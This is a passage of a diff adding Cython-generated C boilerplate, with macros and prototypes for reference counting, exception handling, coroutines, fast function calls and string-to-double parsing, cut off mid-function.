(PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 